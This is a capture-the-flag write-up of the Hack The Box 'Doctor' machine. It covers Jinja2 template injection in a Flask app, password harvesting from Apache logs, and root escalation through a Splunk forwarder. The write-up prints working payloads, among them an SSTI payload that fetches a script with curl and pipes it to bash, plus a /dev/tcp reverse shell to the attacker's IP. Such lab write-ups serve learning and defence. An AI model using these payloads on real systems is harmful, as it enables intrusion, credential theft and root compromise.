Post

HTB Doctor CTF Writeup

Easy-rated Linux box. A Flask/Jinja2 SSTI vulnerability in a virtual-host medical web app achieves RCE. Audit log analysis reveals credentials for a user in the adm group. SplunkWhisperer2 exploits a Splunk universal forwarder for privilege escalation to root.

HTB Doctor CTF Writeup

HTB Doctor CTF

Summary

Doctor is a Linux machine on HackTheBox that begins with discovering a virtual host (doctors.htb) running a Flask web application with a registration/login portal. After creating an account, a hidden /archive endpoint is found via an HTML comment in the page source. This endpoint renders post titles as XML/RSS and is vulnerable to Jinja2 Server-Side Template Injection (SSTI) through the post title field. Exploiting SSTI yields a reverse shell as web-data. Horizontal privilege escalation to user shaun is achieved by leveraging www-data’s membership in the adm group to read Apache log files, where a password (Guitar123) was accidentally submitted in a password-reset email field. Finally, vertical escalation to root is performed by exploiting a Splunk Universal Forwarder service on port 8089 using shaun’s credentials and the SplunkWhisperer2 RCE tool to set the SUID bit on /bin/bash.

Web Server Enumeration

The home page for the web server indicates the use of a vhost “doctors.htb”. I enumerate for subdomains:

1
ffuf -u http://doctors.htb -w ~/hacking/tools/subdomains_combined.txt -H "Host: FUZZ.doctors.htb" -t 50

But I get no results back. It’s important to note how the default web server (when you access it via the direct IP) looks like this:

image.webp

While the one when accessed via the vhost looks completely different and asks me to sign in:

image.webp

I head to the register page (http://doctors.htb/register) and create an account with hacker:hacker credentials:

image.webp

It allows me access to the application. I read the html source code for the home page and find a suspicious html comment:

image.webp

More specifically:

1
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

I access it (http://doctors.htb/archive) but there’s nothing here yet. The page is just blank, but I can see the html source code:

1
2
3
4
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
	<title>Archive</title>

This indicates the endpoint is working. Let’s go back to the home page and use the navbar to access the “create new post” page (http://doctors.htb/post/new). I create it with title “test” and description “test”:

image.webp

If I access the archive now, I see my post is there:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
	<title>Archive</title>
	<item><title>test</title></item>

		</channel>

If I click on the title of my post, it’ll direct me to the post’s dedicated page (in this case, http://doctors.htb/post/2). I change the ID to 1 and this allows me to view posts from other users:

image.webp

I create a possible IDs wordlist:

1
seq 0 1000 > seq.txt

I use ffuf to try and find valid posts:

1
ffuf -u http://doctors.htb/post/FUZZ/update -H "Cookie: session=.eJwljksKAjEQBe-StYv0L0nPZYZOOo0iKMzoSry7AZf1KHj1SXsc87ym7XW85yXtN09bkuFszGEkE1UqsoJPmERDWLMCCBdqPccSLLzVCDIVdswx2IabQ_aBPQqqczOyokrePXNHlgrBIyoV7CCh2pEEpaAYq9WWVsj7nMe_BheO84j99bzPxxqgKRByTCvsrWmsV0dx9AKAkK3jYGRI3x-7mT5L.aU0vcg.Rb-xvuKLnKEuPq9NjC6BFC3q-DQ" -H "Content-Type: application/x-www-form-urlencoded" -w seq.txt

But I don’t find any other than the very one post I just made.

Initial Access - RCE via Flask Jinja2 SSTI

I create a post with a very common SSTI payload ({{7*7}}):

image.webp

If the site renders this payload as an expression (where 7*7 gets evaluated to 49) this would mean the app is vulnerable to SSTI. It does not seem to be vulnerable by just looking at the post page. If I take a look at the archive page though:

image.webp

More specifically:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
	<title>Archive</title>
	<item><title>49</title></item>

		</channel>

You can see the 7*7 expression got evaluated to 49. The app is vulnerable to ssti on the “title” field of the post, but you need to access the archive in order to be able to trigger the execution.

I create “shell.sh” in my machine:

1
sh -i >& /dev/tcp/10.10.14.57/9999 0>&1

I start up a http server with python:

1
sudo python3 -m http.server 80

And then I use the following SSTI payload to get a reverse shell:

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('setsid nohup curl 10.10.14.57/shell.sh|bash&').read() }}

So my posts look like this:

image.webp

As you can see from the screenshot below, I get a shell as “www-data”:

image.webp

Horizontal Privilege Escalation

The user “www-data” has membership in the “adm” group. This group allows me to read log files for different applications in the system. Among those log files, there may be cleartext credentials. I grep every file in /var/log for instances of “passwd”:

1
grep -ri passw /var/log

As you can see from the screenshot below, there’s one suspicious entry:

image.webp

More specifically:

1
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

It seems like the user used its password instead of its email in the reset password field. I can log in to the machine using credentials:

1
2
Username: shaun
Password: Guitar123

Vertical Privilege Escalation

With credentials for “shaun” I can now access the Splunk Forwarder instance running on port 8089. I use a well-known RCE exploit to escalate privileges to root.

1
python3 PySplunkWhisperer2_remote.py --host 10.129.2.21 --port 8089 --payload 'chmod +s /bin/bash' --username shaun --password Guitar123 --lhost 10.10.14.57 --lport 1234

This makes the root user (user that’s running Splunk Forwarder) change the permissions of /bin/bash by adding a SUID bit.

I can verify the permissions changed via my session as “shaun”:

1
2
3
4
5
shaun@doctor:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18  2020 /bin/bash
shaun@doctor:~$ /bin/bash -p
bash-5.0# id 
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.